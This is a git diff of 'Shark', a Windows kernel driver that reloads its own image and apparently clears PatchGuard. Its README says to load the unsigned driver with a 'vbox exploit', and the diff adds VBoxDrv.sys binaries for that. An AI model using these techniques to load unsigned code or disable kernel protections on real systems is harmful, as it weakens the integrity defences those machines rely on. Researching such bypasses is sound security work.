+ void + (NTAPI * DriverDelete)( + __in ptr DriverObject + ); + OB_PREOP_CALLBACK_STATUS (NTAPI * GlobalObjectPreCallback)( __in ptr RegistrationContext, @@ -235,6 +321,15 @@ extern "C" { ... ); + NTSTATUS + (NTAPI * KeWaitForSingleObject)( + __in PVOID Object, + __in KWAIT_REASON WaitReason, + __in KPROCESSOR_MODE WaitMode, + __in BOOLEAN Alertable, + __in_opt PLARGE_INTEGER Timeout + ); + u (NTAPI * RtlCompareMemory)( const void * Destination, @@ -282,13 +377,16 @@ extern "C" { KDDEBUGGER_DATA64 DebuggerDataBlock; KDDEBUGGER_DATA_ADDITION64 DebuggerDataAdditionBlock; + u32 NameInterval; + u16 OffsetKProcessThreadListHead; u16 OffsetKThreadThreadListEntry; u16 OffsetKThreadWin32StartAddress; u32 OffsetKThreadProcessId; + u16 OffsetEProcessActiveProcessLinks; struct _PGBLOCK * PgBlock; - } GPBLOCK, *PGPBLOCK; + } RTB, *PRTB; NTKERNELAPI status @@ -305,85 +403,168 @@ extern "C" { ); #define FastAcquireRundownProtection(ref) \ - GpBlock.ExAcquireRundownProtection((ref)) + RtBlock.ExAcquireRundownProtection((ref)) #define FastReleaseRundownProtection(ref) \ - GpBlock.ExReleaseRundownProtection((ref)) + RtBlock.ExReleaseRundownProtection((ref)) #define FastWaitForRundownProtectionRelease(ref) \ - GpBlock.ExWaitForRundownProtectionRelease((ref)) + RtBlock.ExWaitForRundownProtectionRelease((ref)) #define FastAcquireObjectLock(irql) \ - *(irql) = GpBlock.ExAcquireSpinLockShared(&GpBlock.ObjectLock) + *(irql) = RtBlock.ExAcquireSpinLockShared(&RtBlock.Lock) #define FastReleaseObjectLock(irql) \ - GpBlock.ExReleaseSpinLockShared(&GpBlock.ObjectLock, (irql)) + RtBlock.ExReleaseSpinLockShared(&RtBlock.Lock, (irql)) - VOID + void NTAPI InitializeGpBlock( - __in PGPBLOCK Block + __in PRTB Block + ); + + u32 + NTAPI + LdrMakeProtection( + __in PIMAGE_SECTION_HEADER NtSection ); - ULONG + u32 NTAPI - GetPlatform( - __in PVOID ImageBase + LdrGetPlatform( + __in ptr ImageBase ); - ULONG + u32 NTAPI - GetTimeStamp( - __in PVOID ImageBase + LdrGetTimeStamp( + __in ptr ImageBase ); - USHORT + u16 NTAPI - GetSubsystem( - __in PVOID ImageBase + LdrGetSubsystem( + __in ptr ImageBase ); - ULONG + u32 NTAPI - GetSizeOfImage( - __in PVOID ImageBase + LdrGetSize( + __in ptr ImageBase ); - PVOID + ptr NTAPI - GetAddressOfEntryPoint( - __in PVOID ImageBase + LdrGetEntryPoint( + __in ptr ImageBase ); PIMAGE_SECTION_HEADER NTAPI SectionTableFromVirtualAddress( - __in PVOID ImageBase, - __in PVOID Address + __in ptr ImageBase, + __in ptr Address ); PIMAGE_SECTION_HEADER NTAPI - FindSection( - __in PVOID ImageBase, - __in PCSTR SectionName + LdrFindSection( + __in ptr ImageBase, + __in u8ptr SectionName ); - NTSTATUS + void NTAPI - FindEntryForKernelImage( + LdrRelocImage( + __in ptr ImageBase, + __in s Diff + ); + + status + NTAPI + FindEntryForImage( __in PUNICODE_STRING ImageFileName, __out PKLDR_DATA_TABLE_ENTRY * DataTableEntry ); - NTSTATUS + status NTAPI - FindEntryForKernelImageAddress( - __in PVOID Address, + FindEntryForImageAddress( + __in ptr Address, __out PKLDR_DATA_TABLE_ENTRY * DataTableEntry ); - extern PGPBLOCK GpBlock; + ptr + NTAPI + LdrGetSymbol( + __in ptr ImageBase, + __in_opt cptr ProcedureName, + __in_opt u32 ProcedureNumber + ); + + ptr + NTAPI + LdrNameToAddress( + __in cptr String + ); + + void + NTAPI + LdrSnapThunk( + __in ptr ImageBase + ); + + void + NTAPI + LdrEnumerateThunk( + __in ptr ImageBase + ); + + void + NTAPI + LdrReplaceThunk( + __in ptr ImageBase, + __in_opt cptr ImageName, + __in_opt cptr ProcedureName, + __in_opt u32 ProcedureNumber, + __in ptr ProcedureAddress + ); + + s + NTAPI + LdrSetImageBase( + __in ptr ImageBase + ); + + PKLDR_DATA_TABLE_ENTRY + NTAPI + LdrLoad( + __in ptr ViewBase, + __in wcptr ImageName, + __in u32 Flags + ); + + void + NTAPI + LdrUnload( + __in PKLDR_DATA_TABLE_ENTRY DataTableEntry + ); + + void + NTAPI + DumpImageWorker( + __in ptr ImageBase, + __in u32 SizeOfImage, + __in PUNICODE_STRING ImageFIleName + ); + + status + NTAPI + DumpFileWorker( + __in PUNICODE_STRING ImageFIleName + ); + + extern RTB RtBlock; #ifdef __cplusplus } diff --git a/Projects/Shark/Shark.c b/Projects/Shark/Shark.c index 5f3fa7b7..92fd4d57 100644 --- a/Projects/Shark/Shark.c +++ b/Projects/Shark/Shark.c @@ -21,248 +21,181 @@ #include "Shark.h" +#include "Except.h" #include "Guard.h" #include "Reload.h" #include "PatchGuard.h" #include "Space.h" -// #ifdef ALLOC_PRAGMA -// #pragma alloc_text(PAGE, DriverEntry) -// #endif +#pragma section( ".block", read, write, execute ) -VOID -NTAPI -DriverUnload( - __in PDRIVER_OBJECT DriverObject -); - -NTSTATUS -NTAPI -DeviceCreate( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -); - -NTSTATUS -NTAPI -DeviceClose( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -); +__declspec(allocate(".block")) RTB RtBlock = { 0 }; +__declspec(allocate(".block")) PGBLOCK PgBlock = { 0 }; -NTSTATUS +status NTAPI -DeviceWrite( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -); - -NTSTATUS -NTAPI -DeviceRead( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -); - -NTSTATUS -NTAPI -DeviceControl( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -); - -NTSTATUS -NTAPI -DriverEntry( - __in PDRIVER_OBJECT DriverObject, - __in PUNICODE_STRING RegistryPath +KernelFastCall( + __in ptr Reserve, + __in u32 Operation ) { - NTSTATUS Status = STATUS_SUCCESS; - PDEVICE_OBJECT DeviceObject = NULL; - UNICODE_STRING DeviceName = { 0 }; - UNICODE_STRING SymbolicLinkName = { 0 }; - PMMPTE PointerPte = NULL; - PFN_NUMBER NumberOfPages = 0; - - RtlInitUnicodeString(&DeviceName, DEVICE_STRING); - - Status = IoCreateDevice( - DriverObject, - 0, - &DeviceName, - FILE_DEVICE_UNKNOWN, - FILE_DEVICE_SECURE_OPEN, - FALSE, - &DeviceObject); - - if (NT_SUCCESS(Status)) { - DriverObject->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)DeviceCreate; - DriverObject->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)DeviceClose; - DriverObject->MajorFunction[IRP_MJ_WRITE] = (PDRIVER_DISPATCH)DeviceWrite; - DriverObject->MajorFunction[IRP_MJ_READ] = (PDRIVER_DISPATCH)DeviceRead; - DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)DeviceControl; - - RtlInitUnicodeString(&SymbolicLinkName, SYMBOLIC_STRING); - - Status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName); - - if (NT_SUCCESS(Status)) { - DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload; - -#ifndef PUBLIC - DbgPrint("[Shark] load\n"); -#endif // !PUBLIC - - GpBlock = __malloc(sizeof(GPBLOCK) + sizeof(PGBLOCK)); - - if (NULL != GpBlock) { - RtlZeroMemory( - GpBlock, - sizeof(GPBLOCK) + sizeof(PGBLOCK)); - - GpBlock->PgBlock = __utop(GpBlock + 1); - GpBlock->PgBlock->GpBlock = __utop(GpBlock); - - InitializeGpBlock(GpBlock); - InitializeSpace(GpBlock); - } - } - else { - IoDeleteDevice(DeviceObject); - } - } + status Status = STATUS_SUCCESS; - return Status; -} +#ifdef DEBUG + vDbgPrint( + "[Shark] KernelFastCall\n"); +#endif // DEBUG -VOID -NTAPI -DriverUnload( - __in PDRIVER_OBJECT DriverObject -) -{ - UNICODE_STRING SymbolicLinkName = { 0 }; - - RtlInitUnicodeString(&SymbolicLinkName, SYMBOLIC_STRING); - IoDeleteSymbolicLink(&SymbolicLinkName); - IoDeleteDevice(DriverObject->DeviceObject); - -#ifndef PUBLIC - DbgPrint("[Shark] - unload\n"); -#endif // !PUBLIC -} - -NTSTATUS -NTAPI -DeviceCreate( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -) -{ - NTSTATUS Status = STATUS_SUCCESS; - - Irp->IoStatus.Information = 0; - Irp->IoStatus.Status = Status; - - IoCompleteRequest( - Irp, - IO_NO_INCREMENT); - - return Status; -} + switch (Operation) { + case 0: { + break; + } -NTSTATUS -NTAPI -DeviceClose( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -) -{ - NTSTATUS Status = STATUS_SUCCESS; + case 1: { + break; + } - Irp->IoStatus.Information = 0; - Irp->IoStatus.Status = Status; + case 2: { + break; + } - IoCompleteRequest( - Irp, - IO_NO_INCREMENT); + default: { + break; + } + } return Status; } -NTSTATUS +status NTAPI -DeviceWrite( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp +ReloadSelf( + __in PRTB RtBlock, + __in u32 Operation ) { - NTSTATUS Status = STATUS_SUCCESS; - - Irp->IoStatus.Information = 0; - Irp->IoStatus.Status = Status; - - IoCompleteRequest( - Irp, - IO_NO_INCREMENT); - - return Status; -} + status Status = STATUS_SUCCESS; + PKLDR_DATA_TABLE_ENTRY DataTableEntry = NULL; + PGNORMAL_ROUTINE GsInitialize = NULL; + PGSUPPORT_ROUTINE KernelEntry = NULL; + + DataTableEntry = LdrLoad( + RtBlock->Self->SupImage.pvImage, + KernelString, + LDRP_SYSTEM_MAPPED | LDRP_REDIRECTED); + + if (NULL != DataTableEntry) { +#ifdef DEBUG + vDbgPrint( + ".reload /i %wZ=%p < %p - %08x >\n", + &DataTableEntry->BaseDllName, + DataTableEntry->DllBase, + DataTableEntry->DllBase, + DataTableEntry->SizeOfImage); +#endif // DEBUG + + GsInitialize = DataTableEntry->EntryPoint; + + if (NULL != GsInitialize) { + GsInitialize(); + + KernelEntry = + LdrGetSymbol( + DataTableEntry->DllBase, + "KernelEntry", + 0); + + if (NULL != KernelEntry) { + Status = KernelEntry( + (ptr)DataTableEntry, + (ptr)(u)Operation, + NULL, + NULL); + } + else { + __free(DataTableEntry); -NTSTATUS -NTAPI -DeviceRead( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp -) -{ - NTSTATUS Status = STATUS_SUCCESS; + Status = STATUS_UNSUCCESSFUL; + } + } + else { + __free(DataTableEntry); - Irp->IoStatus.Information = 0; - Irp->IoStatus.Status = Status; + Status = STATUS_UNSUCCESSFUL; + } + } + else { + Status = STATUS_UNSUCCESSFUL; - IoCompleteRequest( - Irp, - IO_NO_INCREMENT); +#ifdef DEBUG + vDbgPrint( + "[Shark] reload failed\n"); +#endif // DEBUG + } return Status; } -NTSTATUS +status NTAPI -DeviceControl( - __in PDEVICE_OBJECT DeviceObject, - __in PIRP Irp +KernelEntry( + __in ptr Self, + __in u32 Operation, + __in ptr Reserve, // do not use + __in ptr Nothing ) { - NTSTATUS Status = STATUS_SUCCESS; - PIO_STACK_LOCATION IrpSp = NULL; + status Status = STATUS_SUCCESS; - IrpSp = IoGetCurrentIrpStackLocation(Irp); + RtBlock.PgBlock = &PgBlock; + PgBlock.RtBlock = &RtBlock; - switch (IrpSp->Parameters.DeviceIoControl.IoControlCode) { - case 0: { - PgClear(GpBlock->PgBlock); + RtBlock.Self = Self; + RtBlock.Operation = Operation; - Irp->IoStatus.Information = 0; + InitializeGpBlock(&RtBlock); - break; + if (CmdReload == + (RtBlock.Operation & CmdReload)) { + ReloadSelf(&RtBlock, Operation & ~CmdReload); } + else { + InitializeSpace(&RtBlock); + + if (CmdPgClear == + (RtBlock.Operation & CmdPgClear)) { + PgBlock.IsDebug = 1; + +#ifndef _WIN64 + InitializeExcept(&RtBlock); +#else + PgClear(&PgBlock); + InitializeExcept(&RtBlock); +#endif // !_WIN64 + + __try { + *(volatile u8ptr)NULL; + } + __except (EXCEPTION_EXECUTE_HANDLER) { +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > test exception code\n", + GetExceptionCode()); +#endif // DEBUG + } + } - default: { - Irp->IoStatus.Information = 0; - Status = STATUS_INVALID_DEVICE_REQUEST; + if (CmdVmxOn == + (RtBlock.Operation & CmdVmxOn)) { + // VmxStartAllProcessors(&RtBlock.CpuControlBlock); + } - break; - } +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > shark load success\n", + RtBlock.Self); +#endif // DEBUG } - Irp->IoStatus.Status = Status; - - IoCompleteRequest( - Irp, - IO_NO_INCREMENT); - return Status; } diff --git a/Projects/Shark/Shark.def b/Projects/Shark/Shark.def index 8989ec6d..d25dde67 100644 --- a/Projects/Shark/Shark.def +++ b/Projects/Shark/Shark.def @@ -18,3 +18,6 @@ LIBRARY EXPORTS + + KernelFastCall + KernelEntry diff --git a/Projects/Shark/Shark.vcxproj b/Projects/Shark/Shark.vcxproj index cb5339bf..3c952e73 100644 --- a/Projects/Shark/Shark.vcxproj +++ b/Projects/Shark/Shark.vcxproj @@ -97,6 +97,7 @@ true false + true false @@ -107,6 +108,7 @@ + false true diff --git a/Projects/Shark/Shark.vcxproj.filters b/Projects/Shark/Shark.vcxproj.filters index 89371cc8..baec040d 100644 --- a/Projects/Shark/Shark.vcxproj.filters +++ b/Projects/Shark/Shark.vcxproj.filters @@ -69,6 +69,12 @@ Source Files + + Source Files\AMD64 + + + Source Files\I386 + diff --git a/Projects/Shark/Stack.c b/Projects/Shark/Stack.c index 8b692fbc..4324641f 100644 --- a/Projects/Shark/Stack.c +++ b/Projects/Shark/Stack.c @@ -22,102 +22,102 @@ #include "Reload.h" -VOID +void NTAPI PrintSymbol( - __in PCSTR Prefix, + __in u8ptr Prefix, __in PSYMBOL Symbol ) { if (NULL != Symbol->String) { if (0 == Symbol->Offset) { -#ifndef PUBLIC - DbgPrint( +#ifdef DEBUG + vDbgPrint( "%s < %p > %wZ!%hs\n", Prefix, Symbol->Address, &Symbol->DataTableEntry->BaseDllName, Symbol->String); -#endif // !PUBLIC +#endif // DEBUG } else { -#ifndef PUBLIC - DbgPrint( +#ifdef DEBUG + vDbgPrint( "%s < %p > %wZ!%hs + %x\n", Prefix, Symbol->Address, &Symbol->DataTableEntry->BaseDllName, Symbol->String, Symbol->Offset); -#endif // !PUBLIC +#endif // DEBUG } } else if (0 != Symbol->Ordinal) { if (0 == Symbol->Offset) { -#ifndef PUBLIC - DbgPrint( +#ifdef DEBUG + vDbgPrint( "%s < %p > %wZ!@%d\n", Prefix, Symbol->Address, &Symbol->DataTableEntry->BaseDllName, Symbol->Ordinal); -#endif // !PUBLIC +#endif // DEBUG } else { -#ifndef PUBLIC - DbgPrint( +#ifdef DEBUG + vDbgPrint( "%s < %p > %wZ!@%d + %x\n", Prefix, Symbol->Address, &Symbol->DataTableEntry->BaseDllName, Symbol->Ordinal, Symbol->Offset); -#endif // !PUBLIC +#endif // DEBUG } } else if (NULL != Symbol->DataTableEntry) { -#ifndef PUBLIC - DbgPrint( +#ifdef DEBUG + vDbgPrint( "%s < %p > %wZ + %x\n", Prefix, Symbol->Address, &Symbol->DataTableEntry->BaseDllName, Symbol->Offset); -#endif // !PUBLIC +#endif // DEBUG } else { -#ifndef PUBLIC - DbgPrint( +#ifdef DEBUG + vDbgPrint( "%s < %p > symbol not found\n", Prefix, Symbol->Address); -#endif // !PUBLIC +#endif // DEBUG } } -VOID +void NTAPI WalkImageSymbol( - __in PVOID Address, + __in ptr Address, __inout PSYMBOL Symbol ) { - NTSTATUS Status = STATUS_SUCCESS; + status Status = STATUS_SUCCESS; PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - ULONG Size = 0; - PULONG NameTable = NULL; - PUSHORT OrdinalTable = NULL; - PULONG AddressTable = NULL; - PSTR NameTableName = NULL; - USHORT HintIndex = 0; - USHORT NameIndex = 0; - PVOID ProcedureAddress = NULL; - PVOID NearAddress = NULL; + u32 Size = 0; + u32ptr NameTable = NULL; + u16ptr OrdinalTable = NULL; + u32ptr AddressTable = NULL; + cptr NameTableName = NULL; + u16 HintIndex = 0; + u16 NameIndex = 0; + ptr ProcedureAddress = NULL; + ptr NearAddress = NULL; Symbol->Address = Address; Symbol->Offset = - (ULONG_PTR)Address - (ULONG_PTR)Symbol->DataTableEntry->DllBase; + (u)Address - (u)Symbol->DataTableEntry->DllBase; ExportDirectory = RtlImageDirectoryEntryToData( Symbol->DataTableEntry->DllBase, @@ -127,13 +127,13 @@ WalkImageSymbol( if (NULL != ExportDirectory) { NameTable = - (PCHAR)Symbol->DataTableEntry->DllBase + ExportDirectory->AddressOfNames; + (u8ptr)Symbol->DataTableEntry->DllBase + ExportDirectory->AddressOfNames; OrdinalTable = - (PCHAR)Symbol->DataTableEntry->DllBase + ExportDirectory->AddressOfNameOrdinals; + (u8ptr)Symbol->DataTableEntry->DllBase + ExportDirectory->AddressOfNameOrdinals; AddressTable = - (PCHAR)Symbol->DataTableEntry->DllBase + ExportDirectory->AddressOfFunctions; + (u8ptr)Symbol->DataTableEntry->DllBase + ExportDirectory->AddressOfFunctions; if (NULL != NameTable && NULL != OrdinalTable && @@ -142,10 +142,10 @@ WalkImageSymbol( HintIndex < ExportDirectory->NumberOfFunctions; HintIndex++) { ProcedureAddress = - (PCHAR)Symbol->DataTableEntry->DllBase + AddressTable[HintIndex]; + (u8ptr)Symbol->DataTableEntry->DllBase + AddressTable[HintIndex]; - if ((ULONG_PTR)ProcedureAddress <= (ULONG_PTR)Symbol->Address && - (ULONG_PTR)ProcedureAddress > (ULONG_PTR)NearAddress) { + if ((u)ProcedureAddress <= (u)Symbol->Address && + (u)ProcedureAddress > (u)NearAddress) { NearAddress = ProcedureAddress; for (NameIndex = 0; @@ -153,7 +153,7 @@ WalkImageSymbol( NameIndex++) { if (HintIndex == OrdinalTable[NameIndex]) { Symbol->String = - (PCHAR)Symbol->DataTableEntry->DllBase + NameTable[HintIndex]; + (u8ptr)Symbol->DataTableEntry->DllBase + NameTable[HintIndex]; } } @@ -161,32 +161,36 @@ WalkImageSymbol( HintIndex + ExportDirectory->Base; Symbol->Offset = - (ULONG_PTR)Symbol->Address - (ULONG_PTR)ProcedureAddress; + (u)Symbol->Address - (u)ProcedureAddress; } } } } } -VOID +void NTAPI FindSymbol( - __in PVOID Address, + __in ptr Address, __inout PSYMBOL Symbol ) { - if (NT_SUCCESS(FindEntryForKernelImageAddress( + status Status = STATUS_SUCCESS; + + Status = FindEntryForImageAddress( Address, - &Symbol->DataTableEntry))) { + &Symbol->DataTableEntry); + + if (NT_SUCCESS(Status)) { WalkImageSymbol(Address, Symbol); } } -VOID +void NTAPI FindAndPrintSymbol( - __in PCSTR Prefix, - __in PVOID Address + __in u8ptr Prefix, + __in ptr Address ) { SYMBOL Symbol = { 0 }; @@ -195,16 +199,16 @@ FindAndPrintSymbol( PrintSymbol(Prefix, &Symbol); } -VOID +void NTAPI PrintFrameChain( - __in PCSTR Prefix, + __in u8ptr Prefix, __in PCALLERS Callers, - __in_opt ULONG FramesToSkip, - __in ULONG Count + __in_opt u32 FramesToSkip, + __in u32 Count ) { - ULONG Index = 0; + u32 Index = 0; for (Index = FramesToSkip; Index < Count; diff --git a/Projects/Shark/Stack.h b/Projects/Shark/Stack.h index 5079a4bb..143bd444 100644 --- a/Projects/Shark/Stack.h +++ b/Projects/Shark/Stack.h @@ -25,61 +25,61 @@ extern "C" { #endif /* __cplusplus */ typedef struct _CALLERS { - PVOID * EstablisherFrame; - PVOID Establisher; + ptr * EstablisherFrame; + ptr Establisher; }CALLERS, *PCALLERS; DECLSPEC_NOINLINE - ULONG + u32 NTAPI WalkFrameChain( __out PCALLERS Callers, - __in ULONG Count + __in u32 Count ); typedef struct _SYMBOL { PKLDR_DATA_TABLE_ENTRY DataTableEntry; - PVOID Address; - PCHAR String; - USHORT Ordinal; - LONG Offset; + ptr Address; + cptr String; + u16 Ordinal; + s32 Offset; }SYMBOL, *PSYMBOL; - VOID + void NTAPI PrintSymbol( - __in PCSTR Prefix, + __in u8ptr Prefix, __in PSYMBOL Symbol ); - VOID + void NTAPI WalkImageSymbol( - __in PVOID Address, + __in ptr Address, __inout PSYMBOL Symbol ); - VOID + void NTAPI FindSymbol( - __in PVOID Address, + __in ptr Address, __inout PSYMBOL Symbol ); - VOID + void NTAPI FindAndPrintSymbol( - __in PCSTR Prefix, - __in PVOID Address + __in u8ptr Prefix, + __in ptr Address ); - VOID + void NTAPI PrintFrameChain( - __in PCSTR Prefix, + __in u8ptr Prefix, __in PCALLERS Callers, - __in_opt ULONG FramesToSkip, - __in ULONG Count + __in_opt u32 FramesToSkip, + __in u32 Count ); #ifdef __cplusplus diff --git a/Publisher.cmd b/Publisher.cmd new file mode 100644 index 00000000..2468f2e3 --- /dev/null +++ b/Publisher.cmd @@ -0,0 +1,36 @@ +@set PATH=%PATH% +@set SLNDIR=H:\Labs\Shark\ +@set SRCDIR=H:\Labs\Shark\Projects\ +@set BINDIR=H:\Labs\Shark\Build\Bins\ +@set REDISTDIR=H:\Labs\Shark\Redist\ +@set WORKDIR=.\ + +@if not exist %WORKDIR% md %WORKDIR% + +@if exist %WORKDIR%AMD64\Sea.exe del /F /Q %WORKDIR%AMD64\Sea.exe +@if exist %WORKDIR%AMD64\Sea.pdb del /F /Q %WORKDIR%AMD64\Sea.pdb +@if exist %WORKDIR%AMD64\Shark.sys del /F /Q %WORKDIR%AMD64\Shark.sys +@if exist %WORKDIR%AMD64\Shark.pdb del /F /Q %WORKDIR%AMD64\Shark.pdb +@if exist %WORKDIR%AMD64\VBoxDrv.sys del /F /Q %WORKDIR%AMD64\VBoxDrv.sys + +@if exist %WORKDIR%I386\Sea.exe del /F /Q %WORKDIR%I386\Sea.exe +@if exist %WORKDIR%I386\Sea.pdb del /F /Q %WORKDIR%I386\Sea.pdb +@if exist %WORKDIR%I386\Shark.sys del /F /Q %WORKDIR%I386\Shark.sys +@if exist %WORKDIR%I386\Shark.pdb del /F /Q %WORKDIR%I386\Shark.pdb +@if exist %WORKDIR%I386\VBoxDrv.sys del /F /Q %WORKDIR%I386\VBoxDrv.sys + +@if not exist %WORKDIR%AMD64\ md %WORKDIR%AMD64 + +@if not exist %BINDIR%AMD64\Sea.exe (echo AMD64\Sea.exe not found) else copy /Y %BINDIR%AMD64\Sea.exe %WORKDIR%AMD64\ +@if not exist %BINDIR%AMD64\Sea.pdb (echo AMD64\Sea.pdb not found) else copy /Y %BINDIR%AMD64\Sea.pdb %WORKDIR%AMD64\ +@if not exist %BINDIR%AMD64\Shark.sys (echo AMD64\Shark.sys not found) else copy /Y %BINDIR%AMD64\Shark.sys %WORKDIR%AMD64\ +@if not exist %BINDIR%AMD64\Shark.pdb (echo AMD64\Shark.pdb not found) else copy /Y %BINDIR%AMD64\Shark.pdb %WORKDIR%AMD64\ +@if not exist %REDISTDIR%AMD64\VBoxDrv.sys (echo AMD64\VBoxDrv.sys not found) else copy /Y %REDISTDIR%AMD64\VBoxDrv.sys %WORKDIR%AMD64\ + +@if not exist %WORKDIR%I386\ md %WORKDIR%I386 + +@if not exist %BINDIR%I386\Sea.exe (echo I386\Sea.exe not found) else copy /Y %BINDIR%I386\Sea.exe %WORKDIR%I386\ +@if not exist %BINDIR%I386\Sea.pdb (echo I386\Sea.pdb not found) else copy /Y %BINDIR%I386\Sea.pdb %WORKDIR%I386\ +@if not exist %BINDIR%I386\Shark.sys (echo I386\Shark.sys not found) else copy /Y %BINDIR%I386\Shark.sys %WORKDIR%I386\ +@if not exist %BINDIR%I386\Shark.pdb (echo I386\Shark.pdb not found) else copy /Y %BINDIR%I386\Shark.pdb %WORKDIR%I386\ +@if not exist %REDISTDIR%I386\VBoxDrv.sys (echo I386\VBoxDrv.sys not found) else copy /Y %REDISTDIR%I386\VBoxDrv.sys %WORKDIR%I386\ diff --git a/README.md b/README.md index 0826fdfe..e4d8e646 100644 --- a/README.md +++ b/README.md @@ -13,12 +13,14 @@ git clone https://github.com/9176324/MSVC # Build - Method 1: run Rebuild.cmd - Method 2: MSBuild "X:\Labs\Shark\Shark.sln" -t:Rebuild /p:Platform="x86|x64" - Method 3: open "X:\Labs\Shark\Shark.sln" with VisualStudio - +# Build + Method 1: run FastBuild.cmd or Rebuild.cmd + Method 2: MSBuild "Shark.sln" -t:Rebuild /p:Platform="x86" + MSBuild "Shark.sln" -t:Rebuild /p:Platform="x64" + Method 3: open "Shark.sln" with VisualStudio + # Install - run Sea.exe (The driver has no signature, you must mount windbg, or you can sign it) + run Sea.exe (use vbox exploit to load) # Uninstall restart windows @@ -29,3 +31,5 @@ findpg, https://github.com/tandasat/findpg PgResarch, https://github.com/tandasat/PgResarch UPGDSED, https://github.com/hfiref0x/UPGDSED + +# QQ Group : 119651372 \ No newline at end of file diff --git a/Redist/amd64/VBoxDrv.sys b/Redist/amd64/VBoxDrv.sys new file mode 100644 index 00000000..8788e4ce Binary files /dev/null and b/Redist/amd64/VBoxDrv.sys differ diff --git a/Redist/i386/VBoxDrv.sys b/Redist/i386/VBoxDrv.sys new file mode 100644 index 00000000..e3723c16 Binary files /dev/null and b/Redist/i386/VBoxDrv.sys differ diff --git a/Shark.sln b/Shark.sln index 75cd7126..7617d351 100644 --- a/Shark.sln +++ b/Shark.sln @@ -13,6 +13,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Include", "Include", "{2655 Include\guarddefs.h = Include\guarddefs.h Include\listdefs.h = Include\listdefs.h Include\statusdefs.h = Include\statusdefs.h + Include\supdefs.h = Include\supdefs.h Include\typesdefs.h = Include\typesdefs.h Include\ver.h = Include\ver.h Include\WARNING.h = Include\WARNING.h